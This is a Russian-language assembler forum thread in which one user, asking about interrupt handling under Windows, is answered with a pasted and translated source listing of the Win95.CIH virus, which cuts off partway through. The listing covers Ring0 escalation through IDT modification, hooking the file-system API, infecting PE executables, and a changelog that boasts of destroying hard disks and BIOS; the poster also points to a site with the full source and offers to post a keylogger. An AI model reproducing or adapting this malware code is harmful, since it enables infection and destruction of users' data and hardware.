Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Обработка прерываний под Винду 
:(
    Опции темы
Mike
Дата 9.8.2002, 19:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 2
Регистрация: 9.8.2002

Репутация: нет
Всего: нет



Люди помогите мне разобраться с этим
на ассемблере
PM MAIL   Вверх
FdX
  Дата 10.8.2002, 22:52 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Подожди, подожди...

А што ты пишешь?

Если VxD - почитай хелп, который обычно поставляется с DDK.
Способов дохрена там. Можно вручную исправить IDT, можно
вроде даже DPMI юзать. Посмотри SIDT и другие команды.

Если пишеш ехе-шник под вин95/98 - то сложно,
а под NT тока драйвером. Ехе-шником не выйдет.

Вот исходник Win95.CIH. Разберись, надеюсь он тебе поможет.

; ****************************************************************************
; *                         Информация о программе                           *
; ****************************************************************************
; *                                                                          *
; *     Дизайнер : CIH                  Источник: TTIT TATUNG, Тайвань       *
; *     Дата Создания: 04/26/1998       Версия:  1.4                         *
; *     Время последней модификации: 05/31/1998                              *
; *                                                                          *
; *     Turbo Assembler 4.0     : tasm /m cih                                *
; *     Turbo Link 3.01         : tlink /3 /t cih, cih.exe                   *
; *                                                                          *
; *==========================================================================*
;                            История модификаций
; *==========================================================================*
; *     v1.0    1. Создать Вирус.                                            *
; *             2. Вирус модифицирует IDT для достижения привилегий Ring0    *
; * 04/26/1998  3. Вирус не загружается повторно.                            *
; *             4. Вызывает IFSMgr_InstallFileSystemApiHook для внедрения в  *
; *                 фйловую систему.                                         *
; *             5. Изменяет точку входа в IFSMgr_InstallFileSystemApiHook.   *
; *             6. Если операционная система открывает файл, он будет        *
; *                 заражен, и не будет заражен повторно.                    *
; *             7. Файл будет заражен если он Read-Only.                     *
; *             8. Если файл заражаеся - его Дата и Время Модификации        *
; *                 не будут изменены.                                       *
; *             9. Когда вирус вызывает IFSMgr_Ring0_FileIO, он не будет     *
; *                 вызывать предыдущий FileSystemApiHook, он вызовет функцию*
; *                 которую IFS Менеджер будет вызывать,чтобы выполнить      *
; *                 обычный запрос Ввода/Вывода.                             *
; *            10. Размер Вируса 656 Байт.                                   *
; *==========================================================================*
; *     v1.1    1. Длинна файла не изменяется при заражении.                 *
; * 05/15/1998  2. Перехватывается Structured Exception Handing (SEH).       *
; *                Если возникает ошибка исключения, то ОС - скорее всего    *
; *                Windows NT. Так что наш прикольный вирус не будет         *
; *                продолжать Свое Дело :) он передаст управление            *
; *                оригинальной программе.                                   *
; *             3. Использован лучший алгоритм. Размер вируса уменьшен.      *
; *             4. "Базовый" размер вируса 796 Баит.                         *
; *==========================================================================*
; *     v1.2    1. Убить все жесткие диски, и BIOS... Все... Hахуй...        *
; *             2. Исправлен баг в v1.1                                      *
; * 05/21/1998  3. "Базовый" размер вируса 1003 Байт.                        *
; *==========================================================================*
; *     v1.3    1. Исрпавлен баг с ошибкой WinZip Self-Extractor'a           *
; *                Теперь эти файлы не заражаются.                           *
; * 05/24/1998  2. "Базовый" размер вируса 1010 Байт.                        *
; *==========================================================================*
; *     v1.4    1. Баг с WinZip Self-Extractor полностью исправлен.          *
; *             2. Изменена дата стабатывания "сюрприза".                    *
; * 05/31/1998  3. Исправлена версия Copyright.                              *
; *             4. "Базовый" размер вируса 1019 Байт.                        *
; ****************************************************************************

               .586P

; ****************************************************************************
; *             Оригинальный PE файл (Hе стоит модифицировать эту секцию)
; ****************************************************************************

OriginalAppEXE  SEGMENT

FileHeader:
               db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
               db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
               db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
               db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
               db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
               db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
               db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
               db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
               db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
               db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
               db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
               db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
               db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
               db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
               db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
               db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
               db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
               db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
               db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
               db      000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
               db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
               db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               db      0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
               dd      00000000h, VirusSize

OriginalAppEXE  ENDS

; ----------------------------------------------------------------------------
;                             Моя игра в вирусы
; ----------------------------------------------------------------------------

;----------------------------------------------------------------------------
;                            Определение констант
;----------------------------------------------------------------------------

TRUE                    =       1
FALSE                   =       0

DEBUG                   =       TRUE

MajorVirusVersion       =       1
MinorVirusVersion       =       4

VirusVersion            =       MajorVirusVersion*10h+MinorVirusVersion


IF      DEBUG

       FirstKillHardDiskNumber =       81h
       HookExceptionNumber     =       05h

ELSE

       FirstKillHardDiskNumber =       80h
       HookExceptionNumber     =       03h

ENDIF


FileNameBufferSize      =       7fh

;----------------------------------------------------------------------------
;----------------------------------------------------------------------------

VirusGame               SEGMENT

                       ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame
                       ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame

;----------------------------------------------------------------------------
;              Инициализация на Кольце 3 (Ring3)
;----------------------------------------------------------------------------

MyVirusStart:
                       push    ebp

;----------------------------------------------------------------------------
; Модифицируем Structured Exception Handing, для предотвращения ошибки
; исключения, особенно на windows NT.
;----------------------------------------------------------------------------

                       lea     eax, [esp-04h*2]

                       xor     ebx, ebx
                       xchg    eax, fs:[ebx]

                       call    @0
@0:
                       pop     ebx

                       lea     ecx, StopToRunVirusCode-@0[ebx]
                       push    ecx

                       push    eax

;----------------------------------------------------------------------------
; Модификация IDT (Interrupt Descriptor Table - таблицы дескрипторов
; прерываний) для достижения привилегий Ring0
;----------------------------------------------------------------------------

                       push    eax             ;
                       sidt    [esp-02h]       ; Получить базовый адрес IDT
                       pop     ebx             ;

                       add     ebx, HookExceptionNumber*08h+04h ; ZF = 0

                       cli

                       mov     ebp, [ebx]      ; Получить базу
                                               ; прерывания/исключения
                       mov     bp, [ebx-04h]   ; и точку входа

                       lea     esi, MyExceptionHook-@1[ecx]

                       push    esi

                       mov     [ebx-04h], si           ;
                       shr     esi, 16                 ; Перехватить прерывание
                       mov     [ebx+02h], si           ; наша точка входа

                       pop     esi

;----------------------------------------------------------------------------
; Сгенерируеи исключение, чтоб перейти на Кольцо0
;----------------------------------------------------------------------------

                       int     HookExceptionNumber     ; Генерируем
ReturnAddressOfEndException     =       $

;----------------------------------------------------------------------------
; Обьединим все кодовые секции вируса
;----------------------------------------------------------------------------

                       push    esi
                       mov     esi, eax

LoopOfMergeAllVirusCodeSection:

                       mov     ecx, [eax-04h]

                       rep     movsb

                       sub     eax, 08h

                       mov     esi, [eax]

                       or      esi, esi
                       jz      QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

                       jmp     LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

                       pop     esi

;----------------------------------------------------------------------------
; Генерируем исключение снова
;----------------------------------------------------------------------------

                       int     HookExceptionNumber     ; Генерируем снова

;----------------------------------------------------------------------------
; Восстановим Structured Exception Handing (SEH) назад
;----------------------------------------------------------------------------

ReadyRestoreSE:
                       sti

                       xor     ebx, ebx

                       jmp     RestoreSE

;----------------------------------------------------------------------------
; Когда возникнет Ошибка Исключения, наша ОС должно быть - Windows NT
; Так что мой миленький :) вирус не будет работать дальше, а вернет
; управление оригинальному приложению
;----------------------------------------------------------------------------

StopToRunVirusCode:
@1                      =       StopToRunVirusCode

                       xor     ebx, ebx
                       mov     eax, fs:[ebx]
                       mov     esp, [eax]

RestoreSE:
                       pop     dword ptr fs:[ebx]
                       pop     eax

;----------------------------------------------------------------------------
; Возвратить управление программе
;----------------------------------------------------------------------------

                       pop     ebp

                       push    00401000h       ; Точка входа
OriginalAddressOfEntryPoint     =       $-4     ; в оригинальную программу

                       ret     ; Возвратить управление

;----------------------------------------------------------------------------
; Инициализация на кольце 0
;----------------------------------------------------------------------------

MyExceptionHook:
@2                      =       MyExceptionHook

                       jz      InstallMyFileSystemApiHook

;----------------------------------------------------------------------------
; Запущена ли другая копия !?
;----------------------------------------------------------------------------

                       mov     ecx, dr0
                       jecxz   AllocateSystemMemoryPage

                       add     dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

;----------------------------------------------------------------------------
; Возвратиться в программу инициализации на Кольце0
;----------------------------------------------------------------------------

ExitRing0Init:
                       mov     [ebx-04h], bp   ;
                       shr     ebp, 16         ; Восстановить прерывание
                       mov     [ebx+02h], bp   ;

                       iretd

;----------------------------------------------------------------------------
; Выделить страницу системной памяти
;----------------------------------------------------------------------------

AllocateSystemMemoryPage:

                       mov     dr0, ebx        ; Поставим метку, что вирус
                                               ; уже запущен

                       push    00000000fh      ;
                       push    ecx             ;
                       push    0ffffffffh      ;
                       push    ecx             ;
                       push    ecx             ;
                       push    ecx             ;
                       push    000000001h      ;
                       push    000000002h      ;
                       int     20h             ; VMMCALL _PageAllocate
_PageAllocate           =       $               ;
                       dd      00010053h       ; Использует EAX, ECX, EDX,
                                               ; и флаги
                       add     esp, 08h*04h

                       xchg    edi, eax        ; EDI = Hачальный адрес
                                               ; выделенной памяти

                       lea     eax, MyVirusStart-@2[esi]

                       iretd   ; Возвратиться в программу инициализации
                               ; на Кольце0

;----------------------------------------------------------------------------
; Установить мой обработчик API файловой системы
;----------------------------------------------------------------------------

InstallMyFileSystemApiHook:

                       lea     eax, FileSystemApiHook-@6[edi]

                       push    eax  ;
                       int     20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =       $       ;
                       dd      00400067h       ; Использует EAX, ECX, EDX,
                                               ; и флаги

                       mov     dr0, eax        ; сохранить адрес старого
                                               ; обработчика
                                               ; (OldFileSystemApiHook)

                       pop     eax     ; EAX = адрес FileSystemApiHook

                       ; Сохранить старый адрес процедуры перехвата
                       ; сервисов файловой системы
                       ; (IFSMgr_InstallFileSystemApiHook)

                       mov     ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
                       mov     edx, [ecx]
                       mov     OldInstallFileSystemApiHook-@3[eax], edx

                       ; Перехватить запросы на установку нового
                       ; обработчика  API файловой системы
                       ; (IFSMgr_InstallFileSystemApiHook)

                       lea     eax, InstallFileSystemApiHook-@3[eax]
                       mov     [ecx], eax

                       cli

                       jmp     ExitRing0Init

;----------------------------------------------------------------------------
; Размер загрузчика, котрый склеивает все части вируса
;----------------------------------------------------------------------------

CodeSizeOfMergeVirusCodeSection         =       offset $

;----------------------------------------------------------------------------
; Обработчик сервиса перехвата API файловой системы
;           IFSMgr_InstallFileSystemApiHook
;----------------------------------------------------------------------------

InstallFileSystemApiHook:
                       push    ebx

                       call    @4      ;
@4:                                     ;
                       pop     ebx     ; mov ebx, offset FileSystemApiHook
                       add     ebx, FileSystemApiHook-@4       ;

                       push    ebx     ; временно удалить наш обработчик
                       int     20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook  =       $
                       dd      00400068h       ; Использует EAX, ECX, EDX,
                                               ; и флаги

                       pop     eax

                       ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook
                       ; чтобы добавить запрошенный клиентом обработчик

                       push    dword ptr [esp+8]
                       call    OldInstallFileSystemApiHook-@3[ebx]
                       pop     ecx

                       push    eax

                       ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook
                       ; чтобы добавить наш обработчик сверху всех

                       push    ebx
                       call    OldInstallFileSystemApiHook-@3[ebx]
                       pop     ecx

                       mov     dr0, eax        ; Изменить адрес старого
                                               ; обработчика API файловой
                                               ; системы
                                               ; (OldFileSystemApiHook)

                       pop     eax

                       pop     ebx

                       ret

;----------------------------------------------------------------------------
;                       Статические (неподвижные) данные
;----------------------------------------------------------------------------

OldInstallFileSystemApiHook     dd      ?

;----------------------------------------------------------------------------
; Обработчик API файловой системы (IFSMgr_FileSystemHook)
;----------------------------------------------------------------------------

;----------------------------------------------------------------------------
; Точка входа в IFSMgr_FileSystemHook
;----------------------------------------------------------------------------

FileSystemApiHook:
@3                      =       FileSystemApiHook

                       pushad

                       call    @5      ;
@5:                                     ;
                       pop     esi     ; mov esi, offset VirusGameDataStartAddress
                       add     esi, VirusGameDataStartAddress-@5

;------------------------------------
; Поставлен ли флажек занятости!?
;------------------------------------

                       test    byte ptr (OnBusy-@6)[esi], 01h
                                       ; если поставлен -
                       jnz     pIFSFunc
                                       ; исполнить запрошенную функцию
                                       ; (goto pIFSFunc)

;------------------------------------
; Запрос на открытие файла (OpenFile)!?
;------------------------------------

                       ; Если это не открытие файла -
                       ; исполнить оригинальный обработчик
                       ; (goto prevhook)
                       lea     ebx, [esp+20h+04h+04h]
                       cmp     dword ptr [ebx], 00000024h
                       jne     prevhook

;------------------------------------
; Включить флажек занятости
;------------------------------------

                       inc     byte ptr (OnBusy-@6)[esi]

;----------------------------------------------------------------------------
; Получить номер диска из ПутиКФайлу
; и установить имя диска в Буфере (FileNameBuffer)
;------------------------------------
; Hапример. если HомерДиска 03h,
; - Имя диска 'C:'
;----------------------------------------------------------------------------

                       ; mov esi, offset FileNameBuffer
                       add     esi, FileNameBuffer-@6

                       push    esi

                       mov     al, [ebx+04h]
                       cmp     al, 0ffh
                       je      CallUniToBCSPath

                       add     al, 40h
                       mov     ah, ':'

                       mov     [esi], eax

                       inc     esi
                       inc     esi

;--------------------------------------------------------------------------*
; UniToBCSPath
;--------------------------------------------------------------------------*
; Этот сервис конвертирует Канонизированный Unicode путь
; в нормальный в выбранной кодовой странице BCS
;--------------------------------------------------------------------------*

CallUniToBCSPath:
                       push    00000000h
                       push    FileNameBufferSize
                       mov     ebx, [ebx+10h]
                       mov     eax, [ebx+0ch]
                       add     eax, 04h
                       push    eax
                       push    esi
                       int     20h     ; VXDCall UniToBCSPath
UniToBCSPath            =       $
                       dd      00400041h
                       add     esp, 04h*04h

;------------------------------------
; имя файла кончается на '.EXE' !?
;------------------------------------

                       ; cmp [esi+eax-04h], '.EXE'
                       cmp     [esi+eax-04h], 'EXE.'
                       pop     esi
                       jne     DisableOnBusy

IF      DEBUG

;------------------------------------
; Только для отладки
;------------------------------------

                       ; cmp [esi+eax-06h], 'FUCK'
                       cmp     [esi+eax-06h], 'KCUF'
                       jne     DisableOnBusy

ENDIF

;------------------------------------
; открывается уже существующий файл!?
;------------------------------------

                       ; if ( NotOpenExistingFile )
                       ; goto DisableOnBusy
                       cmp     word ptr [ebx+18h], 01h
                       jne     DisableOnBusy

;------------------------------------
; получить аттрибуты файла
;------------------------------------

                       mov     ax, 4300h
                       int     20h     ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO     =       $
                       dd      00400032h

                       jc      DisableOnBusy

                       push    ecx

;------------------------------------
; получить адрес файлового сервиса ввода-вывода
; (IFSMgr_Ring0_FileIO)
;------------------------------------

                       mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
                       mov     edi, [edi]

;------------------------------------
; Файл только для чтения!?
;------------------------------------

                       test    cl, 01h
                       jz      OpenFile

;------------------------------------
; переставить в чтение-запись
;------------------------------------

                       mov     ax, 4301h
                       xor     ecx, ecx
                       call    edi     ; VXDCall IFSMgr_Ring0_FileIO

;------------------------------------
; открыть файл
;------------------------------------

OpenFile:
                       xor     eax, eax
                       mov     ah, 0d5h
                       xor     ecx, ecx
                       xor     edx, edx
                       inc     edx
                       mov     ebx, edx
                       inc     ebx
                       call    edi     ; VXDCall IFSMgr_Ring0_FileIO

                       xchg    ebx, eax ; mov ebx, FileHandle
                                        ; хендл файла в ebx

;------------------------------------
; Hадо ли восстановить атрибуты файла?
;------------------------------------

                       pop     ecx

                       pushf

                       test    cl, 01h
                       jz      IsOpenFileOK

;------------------------------------
; Восстановить атрибуты
;------------------------------------

                       mov     ax, 4301h
                       call    edi     ; VXDCall IFSMgr_Ring0_FileIO

;------------------------------------
; Файл открыт?
;------------------------------------

IsOpenFileOK:
                       popf

                       jc      DisableOnBusy

;------------------------------------
; Если открытие файла прошло удачно
;------------------------------------

                       push    esi     ; Сохраним адрес буфера
                                       ; (с именем файла) в стек
                                       ; (FileNameBuffer)

                       pushf           ; Теперь CF = 0, Сохранить флаги

                       add     esi, DataBuffer-@7
                                       ; mov esi, offset DataBuffer

;--------------------------
; получить смещение до NE-заголовка
;--------------------------

                       xor     eax, eax
                       mov     ah, 0d6h

                       ; Чтобы минимизировать код
                       ; я сохраняю EAX в EBP.
                       mov     ebp, eax

                       push    00000004h
                       pop     ecx
                       push    0000003ch
                       pop     edx
                       call    edi     ; VXDCall IFSMgr_Ring0_FileIO

                       mov     edx, [esi]

;----------------------------------------------------------------------------
; Получить 'PE\0' сигнатуру из заголовка файла
; и метку заражения
;----------------------------------------------------------------------------

                       dec     edx

                       mov     eax, ebp
                       call    edi     ; VXDCall IFSMgr_Ring0_FileIO

;----------------------------------------------------------------------------
; Это PE !?
;--------------------------
; Файл уже заражен ?!
;--------------------------
; самораспаковывающиеся WinZip архивы
; не имеют метки заражения, потому что мой вирус не заражает их
;----------------------------------------------------------------------------

                       ; cmp [esi], '\0PE\0'
                       cmp     dword ptr [esi], 00455000h
                       jne     CloseFile

;----------------------------------------------------------------------------
; Файл - PE (Portable Executable)
;------------------------------------
; Файл также не заражен
;------------------------------------

;------------------------------------
; Hачать заражение
;------------------------------------
; Статус использования регистров
; в этот момент:

; EAX = 04h
; EBX = Хэндл файла
; ECX = 04h
; EDX = (позиция в файле) указывает на 'PE\0\0'-сигнатуру в заголовке файла
; ESI = адрес буфера данных ==> @8
; EDI = адрес обработчика IFSMgr_Ring0_FileIO
; EBP = D600h ==> Считать данные из файла
;----------------------------------------------------------------------------
; Стек:
;                                   *
; ESP => -------------------------  *
;        |       EFLAG(CF=0)     |  *
;        -------------------------  *
;        | FileNameBufferPointer |  *
;        -------------------------  *
;        |          EDI          |  *
;        -------------------------  *
;        |          ESI          |  *
;        -------------------------  *
;        |          EBP          |  *
;        -------------------------  *
;        |          ESP          |  *
;        -------------------------  *
;        |          EBX          |  *
;        -------------------------  *
;        |          EDX          |  *
;        -------------------------  *
;        |          ECX          |  *
;        -------------------------  *
;        |          EAX          |  *
;        -------
  Вверх
FdX
  Дата 10.8.2002, 23:03 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Похоже полный сорец не влезает, но тебе начала хватит.
Если хочешь полный, он есть на hack-it.by.ru

Если будешь юзать это, не надо просто копировать из сорца в свою прогу.
Робить не будет. И необязательно выделять себе область памяти и
копироваться туда. Можно без этого.
Если будут сложности, пиши на форум, я может низкоуровневый кейлоггер
выложу, когда допишу его.
  Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Asm: Общие вопросы"
MAKCim
  • Проставьте несколько ключевых слов темы, чтобы её можно было легче найти.
  • Не забывайте пользоваться кнопкой КОД.
  • Телепатов на форуме нет! Задавайте чёткий, конкретный и полный вопрос. Указывайте полностью ошибки компилятора и компоновщика.
  • Новое сообщение должно иметь прямое отношение к разделу форума. Флуд, флейм, оффтопик запрещены.
  • Категорически запрещается обсуждение вареза, "кряков", взлома программ и т.д.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, MAKCim.

 
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Asm: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0513 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.